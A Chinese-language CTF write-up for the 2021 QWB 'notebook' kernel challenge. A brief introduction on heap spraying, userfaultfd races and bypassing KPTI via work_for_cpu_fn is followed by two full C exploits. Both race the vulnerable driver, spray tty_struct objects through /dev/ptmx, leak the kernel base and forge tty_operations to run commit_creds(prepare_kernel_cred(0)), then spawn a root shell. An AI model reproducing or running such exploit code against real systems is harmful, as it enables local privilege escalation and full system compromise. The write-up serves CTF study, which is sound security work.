堆喷射(heap spraying)

堆喷射(heap spraying)

用2021QWB-notebook这一题来复习了Userfault的用法,以及初识内核堆喷射。同时也学习了work_for_cpu_fn这个函数的利用方法。它可以很稳定地绕过KPTI,执行commit_creds(prepare_kernel_cred(0))

写了两个exp,第二个比第一个稳定许多。

exp1

#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define PAGE_SIZE 0x1000
#define TTY_STRUCT_SIZE 0x2E0

int fd, tty_fd;
char* mmap_addr;
size_t user_cs, user_ss, user_sp, user_rflags;

typedef struct
{
	size_t index;
	size_t size;
	char* buf;
}Data;

void ErrExit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}

void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features = 0;
	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
		ErrExit("[-] ioctl-UFFDIO_API error");
	
	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
	// open a thread, receive the wrong signal, and the handle it
	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
	if(s!=0)
		ErrExit("[-] pthread-create error");
}

void *userfault_sleep_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] sleep handler created");
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	sleep(100);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;
	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] sleep handler done");
	return NULL;
}

void add(size_t index,size_t size,char* buf)
{
	Data data;
	data.index = index;
	data.size = size;
	data.buf = buf;
	ioctl(fd, 0x100, &data);
}

void delete(size_t index)
{
	Data data;
	data.index = index;
	data.size = 0;
	data.buf = NULL;
	ioctl(fd, 0x200, &data);
}

void edit(size_t index,size_t size,char* buf)
{
	Data data;
	data.index = index;
	data.size = size;
	data.buf = buf;
	ioctl(fd, 0x300, &data);
}

void show(char* buf)
{
	Data data;
	data.index = 0;
	data.size = 0;
	data.buf = buf;
	ioctl(fd, 0x64, &data);
}

void* edit_thread(void* index)
{
	puts("[+] edit thread start");
	edit((size_t)index, 0, mmap_addr);
	return NULL;
}

void* add_thread(void* index)
{
	puts("[+] add thread start");
	edit((size_t)index, 0x60, mmap_addr);
	return NULL;
}

struct
{
	void * buf;
	size_t size;
}notebook[0x10];


int main()
{
	int tty_index, fake_operation_index;
	char user_buf[0x100] = {0};
	size_t tty_buf[0x100] = {0}, fake_operations[0x100] = {0}, fake_operation_addr;
	
	fd = open("/dev/notebook", 2);
	if(fd<0)
		ErrExit("[-] open notebook error");
	
	mmap_addr = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(mmap_addr == MAP_FAILED)
		ErrExit("[-] mmap error");
	register_userfault(mmap_addr, userfault_sleep_handler);
	
	add(0, 0x60, user_buf); // 0
	add(1, 0x60, user_buf); // 1
	edit(0, TTY_STRUCT_SIZE, user_buf);
	edit(1, TTY_STRUCT_SIZE, user_buf);
	
	pthread_t add_thr, edit_thr;
	pthread_create(&edit_thr, NULL, edit_thread, (void*)0);
	sleep(1);
	pthread_create(&add_thr, NULL, add_thread, (void*)0);
	sleep(1);
	
	for(int i=0; i<0x20; i++)
	{
		tty_fd = open("/dev/ptmx", 2);
		if(tty_fd<0)
			ErrExit("[-] open ptmx error");
		read(fd, tty_buf, 0);
		if(tty_buf[0] == 0x100005401)
		{
			printf("[+] hit tty struct at fd: %d\n",tty_fd);
			break;
		}
	}
	
	if(tty_buf[0] != 0x100005401)
		ErrExit("[-] not hit tty struct");
	
	size_t vmlinux_base;
	if((tty_buf[3] & 0xfff) == 0x320)
		vmlinux_base = tty_buf[3] - 0xe8e320;
	else
		vmlinux_base = tty_buf[3] - 0xe8e440;
	printf("[+] vmlinux_base=> 0x%lx\n",vmlinux_base);
	
	size_t offset = vmlinux_base - 0xffffffff81000000;
	size_t prepare_kernel_cred = offset + 0xffffffff810a9ef0;
	size_t commit_creds = offset + 0xffffffff810a9b40;
	size_t work_for_cpu_fn = offset + 0xffffffff8109eb90;
	
	show((char*)notebook);
	printf("[+] tty struct addr=> 0x%lx\n", (size_t)(notebook[0].buf));
	printf("[+] tty operations addr=> 0x%lx\n", (size_t)(notebook[1].buf));

	tty_buf[0] = 0x100005401;
	tty_buf[3] = (size_t)(notebook[1].buf);
	tty_buf[4] = prepare_kernel_cred;
	tty_buf[5] = 0;
	write(fd, tty_buf, 0);
	
	fake_operations[7] = work_for_cpu_fn;
	fake_operations[10] = work_for_cpu_fn;
	fake_operations[12] = work_for_cpu_fn;
	write(fd, fake_operations, 1);
	
	getchar();
	
	ioctl(tty_fd, 233, 233);
	
	read(fd, tty_buf, 0);
	
	tty_buf[0] = 0x100005401;
	tty_buf[3] = (size_t)(notebook[1].buf);
	tty_buf[4] = commit_creds;
	tty_buf[5] = tty_buf[6];
	write(fd, tty_buf, 0);
	
	ioctl(tty_fd, 233, 233);
	
	if(getuid() == 0)
		system("/bin/sh");
	else
		ErrExit("[-] get root failed");

	return 0;	
}

exp2

这个脚本中sem_init(sem_t *sem, int pshared, unsigned int value)是初始化一个定位在sem中的信号量。value的值指定信号量的初始值。pthread参数指明信号量是由进程内线程共享,还是由进程之间共享。如果pthread == 0,那么信号量将被进程内的线程共享。
sem_wait(sem_t *sem)等待信号量,当信号量大于1时,立即减1,否则此线程将阻塞。
sem_post(sem_t *sem)释放信号量,让信号量的值加一。
这个exp同时准备了很多对应大小的被释放的object,所以堆喷的命中概率更高。

#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define PAGE_SIZE 0x1000
#define TTY_STRUCT_SIZE 0x2E0

int fd, tty_fd[0x100];
char* mmap_addr;
sem_t sem_add, sem_edit;

typedef struct
{
	size_t index;
	size_t size;
	char* buf;
}Data;

void ErrExit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}

void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features = 0;
	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
		ErrExit("[-] ioctl-UFFDIO_API error");
	
	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
	// open a thread, receive the wrong signal, and the handle it
	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
	if(s!=0)
		ErrExit("[-] pthread-create error");
}

void *userfault_sleep_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] sleep handler created");
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	sleep(100);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;
	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] sleep handler done");
	return NULL;
}

void add(size_t index,size_t size,char* buf)
{
	Data data;
	data.index = index;
	data.size = size;
	data.buf = buf;
	ioctl(fd, 0x100, &data);
}

void delete(size_t index)
{
	Data data;
	data.index = index;
	data.size = 0;
	data.buf = NULL;
	ioctl(fd, 0x200, &data);
}

void edit(size_t index,size_t size,char* buf)
{
	Data data;
	data.index = index;
	data.size = size;
	data.buf = buf;
	ioctl(fd, 0x300, &data);
}

void show(char* buf)
{
	Data data;
	data.index = 0;
	data.size = 0;
	data.buf = buf;
	ioctl(fd, 0x64, &data);
}

void* edit_thread(void* index)
{
	puts("[+] edit thread start");
	sem_wait(&sem_edit);
	edit((size_t)index, 0x2000, mmap_addr);
	return NULL;
}

void* add_thread(void* index)
{
	puts("[+] add thread start");
	sem_wait(&sem_add);
	edit((size_t)index, 0x60, mmap_addr);
	return NULL;
}

struct
{
	void * buf;
	size_t size;
}notebook[0x10];

int main()
{
	int tty_index, fake_operation_index;
	char user_buf[0x100] = {0};
	size_t tty_buf[0x100] = {0}, fake_operations[0x100] = {0}, fake_operation_addr;

	sem_init(&sem_edit, 0, 0);
	sem_init(&sem_add, 0, 0);
	
	fd = open("/dev/notebook", 2);
	if(fd<0)
		ErrExit("[-] open notebook error");
	
	mmap_addr = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(mmap_addr == MAP_FAILED)
		ErrExit("[-] mmap error");
	register_userfault(mmap_addr, userfault_sleep_handler);
	
	for(int i=0; i<0x10; i++)
	{
		add(i, 0x20, user_buf);
		edit(i, TTY_STRUCT_SIZE, user_buf);
	}
	puts("[+] notebook has been inited");
	sleep(1);
	
	pthread_t thr_edit, thr_add;

	for(int i=0; i<0xf; i++)
		pthread_create(&thr_edit, NULL, edit_thread, (void*)i);
	puts("[+] start edit thread");
	
	for(int i=0; i<0xf; i++)
		sem_post(&sem_edit);
	puts("[+] edit threads trapped in usearfaultfd");
	sleep(1);
	
	for(int i=0; i<0x80; i++)
		tty_fd[i] = open("/dev/ptmx", 2);
	puts("[+] tty struct has been opend");
	sleep(1);

	for(int i=0; i<0xf; i++)
		pthread_create(&thr_add, NULL, add_thread, (void*)i);
	puts("[+] start add thread");
	
	for(int i=0; i<0xf; i++)
		sem_post(&sem_add);
	puts("[+] add threads trapped in usearfaultfd");
	sleep(1);

	for(int i=0; i<0xf; i++)
	{
		read(fd, tty_buf, i);
		if(tty_buf[0] == 0x100005401)
		{
			printf("[+] hit the tty struct at index: %d\n",i);
			tty_index = i;
			break;
		}
	}
	
	if(tty_buf[0] != 0x100005401)
		ErrExit("[-] failed to hit tty struct");
	
	for(int i=0; i<10; i++)
		printf("[+] %2d: 0x%lx\n",i,tty_buf[i]);
	
	size_t vmlinux_base;
	if((tty_buf[3] & 0xfff) == 0x320)
		vmlinux_base = tty_buf[3] - 0xe8e320;
	else
		vmlinux_base = tty_buf[3] - 0xe8e440;
	printf("[+] vmlinux_base=> 0x%lx\n",vmlinux_base);
	
	size_t offset = vmlinux_base - 0xffffffff81000000;
	size_t prepare_kernel_cred = offset + 0xffffffff810a9ef0;
	size_t commit_creds = offset + 0xffffffff810a9b40;
	size_t work_for_cpu_fn = offset + 0xffffffff8109eb90;
	

	fake_operation_index = 0xf;
	printf("[+] fake tty operation at index: %d\n",fake_operation_index);

	show((char*)notebook);
	for(int i=0; i<0x10; i++)
		printf("[+] %d: 0x%lx	0x%lx\n",i,(size_t)(notebook[i].buf),notebook[i].size);
	printf("[+] tty operations addr=> 0x%lx\n",(size_t)notebook[fake_operation_index].buf);
	read(fd, tty_buf, tty_index);

	tty_buf[0] = 0x100005401;
	tty_buf[3] = (size_t)notebook[fake_operation_index].buf;
	tty_buf[4] = prepare_kernel_cred;
	tty_buf[5] = 0;
	write(fd, tty_buf, tty_index);

	fake_operations[7] = work_for_cpu_fn;
	fake_operations[10] = work_for_cpu_fn;
	fake_operations[12] = work_for_cpu_fn;
	write(fd, fake_operations, fake_operation_index);
	
	for(int i=0; i<13; i++)
		printf("[+] %2d: 0x%lx\n", i, tty_buf[i]);
	
	for(int i=0; i<13; i++)
		printf("[+] %2d: 0x%lx\n", i, fake_operations[i]);

	for(int i=0; i<0x80; i++)
		ioctl(tty_fd[i], 233, 233);
	
	read(fd, tty_buf, tty_index);
	
	tty_buf[0] = 0x100005401;
	tty_buf[3] = (size_t)notebook[fake_operation_index].buf;
	tty_buf[4] = commit_creds;
	tty_buf[5] = tty_buf[6];
	write(fd, tty_buf, tty_index);
	
	for(int i=0; i<0x80; i++)
		ioctl(tty_fd[i], 233, 233);
	
	if(getuid() == 0)
		system("/bin/sh");
	else
		ErrExit("[-] get root failed");

	return 0;
}
posted @ 2022-07-22 10:20  狒猩橙  阅读(329)  评论(0编辑  收藏  举报